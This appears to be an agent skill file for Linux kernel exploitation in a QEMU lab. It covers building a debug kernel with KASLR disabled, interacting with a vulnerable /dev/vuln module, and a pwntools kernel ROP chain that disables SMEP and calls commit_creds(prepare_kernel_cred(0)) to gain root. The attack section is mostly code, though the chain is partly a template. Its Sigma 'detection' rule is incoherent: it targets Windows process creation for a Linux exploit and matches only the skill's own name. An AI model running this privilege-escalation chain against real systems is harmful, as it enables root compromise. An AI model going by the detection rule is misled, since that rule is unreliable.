<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
<!-- NERF is a trademark of defconxt. -->
---
name: performing-kernel-exploitation
description: >-
  Exploit Linux kernel vulnerabilities including privilege escalation via kernel modules, race conditions, null pointer dereferences, and kernel ROP using QEMU-based testing environments.
domain: cybersecurity
subdomain: binary-exploitation
tags:
  - kernel
  - privilege-escalation
  - kernel-rop
  - kaslr
  - smep
  - smap
  - qemu
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1068", "T1611"]
  cwe: ["CWE-787", "CWE-476", "CWE-362"]
  tools: ["QEMU", "gdb", "busybox", "kernel-headers", "kASLR"]
---

# Performing Kernel Exploitation

## Overview

Exploit Linux kernel vulnerabilities including privilege escalation via kernel modules, race conditions, null pointer dereferences, and kernel ROP using QEMU-based testing environments.

## Prerequisites

| Tool / Requirement | Details |
|---|---|
| `QEMU` | Security tooling |
| `kernel source/headers` | Security tooling |
| `busybox` | Security tooling |
| `GDB with kernel debug symbols` | Security tooling |
| Target binary with identified vulnerability | Environment requirement |
| Isolated lab environment for testing | Environment requirement |
| Authorization and signed Rules of Engagement (RoE) | Environment requirement |

## Workflow

### Step 1: Set Up Kernel Debug Environment

```bash
# Build minimal kernel for testing
make menuconfig  # Enable CONFIG_DEBUG_INFO, disable KASLR for dev
make -j$(nproc) bzImage

# Create minimal rootfs with busybox
mkdir -p rootfs/{bin,dev,etc,proc,sys,tmp}
cp busybox rootfs/bin/
cd rootfs/bin && for cmd in $(./busybox --list); do ln -s busybox $cmd; done

# Boot with QEMU
qemu-system-x86_64 \
    -kernel bzImage \
    -initrd rootfs.cpio.gz \
    -append "console=ttyS0 nokaslr" \
    -nographic -s -S  # -s: gdb on :1234, -S: wait for attach
```

### Step 2: Exploit Vulnerable Kernel Module

```python
from pwn import *
import struct

# Interact with vulnerable kernel module via /dev/vuln
def write_dev(data: bytes) -> None:
    with open("/dev/vuln", "wb") as f:
        f.write(data)

def read_dev(size: int) -> bytes:
    with open("/dev/vuln", "rb") as f:
        return f.read(size)

# Leak kernel base via /proc/kallsyms (if readable)
# or via side-channel/info leak in module
kernel_base = 0xffffffff81000000  # without KASLR

# commit_creds(prepare_kernel_cred(0)) for root
prepare_kernel_cred = kernel_base + 0x6e240
commit_creds = kernel_base + 0x6e390
```

### Step 3: Kernel ROP Chain

```python
from pwn import *

# Kernel ROP to disable SMEP and call commit_creds
# Native kernel gadgets from vmlinux
pop_rdi = kernel_base + 0x27bbdc
mov_cr4_rdi = kernel_base + 0x22b1a  # disable SMEP via CR4
swapgs_iretq = kernel_base + 0x50a894

payload = flat(
    pop_rdi,
    prepare_kernel_cred,
    # ... call prepare_kernel_cred(0)
    # ... call commit_creds(result)
    swapgs_iretq,
    # iretq frame: RIP, CS, RFLAGS, RSP, SS
    p64(user_rip),
    p64(user_cs),
    p64(user_rflags),
    p64(user_sp),
    p64(user_ss),
)

write_dev(b"A" * 64 + payload)
# Should return to userspace as root
os.system("id")  # uid=0(root)
```

## Detection

```yaml
title: Kernel Exploitation Detection
id: ea54766a-4258-4db6-ae22-452501da9875
status: experimental
description: Detects suspicious activity related to performing kernel exploitation techniques in binary exploitation context
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine: "*performing*kernel*"
  condition: selection
level: critical
tags:
  - attack.t1068
  - attack.t1611
  - attack.execution
falsepositives:
  - Vulnerability scanner testing known exploit signatures
```


**Detection Opportunities**

| Indicator | Source | Detection Logic |
|---|---|---|
| Kernel Exploitation Detection | windows/process_creation | Sigma rule (critical) |
| ATT&CK Coverage | MITRE ATT&CK | T1068, T1611 |

## Verification

- [ ] Kernel debug environment set up in QEMU
- [ ] Vulnerable module loaded and reachable
- [ ] Kernel addresses resolved (KASLR bypass if needed)
- [ ] Privilege escalation achieved (uid=0)

## References

- [Linux Kernel Exploitation](https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/)
- [kernel-exploits](https://github.com/xairy/linux-kernel-exploitation)
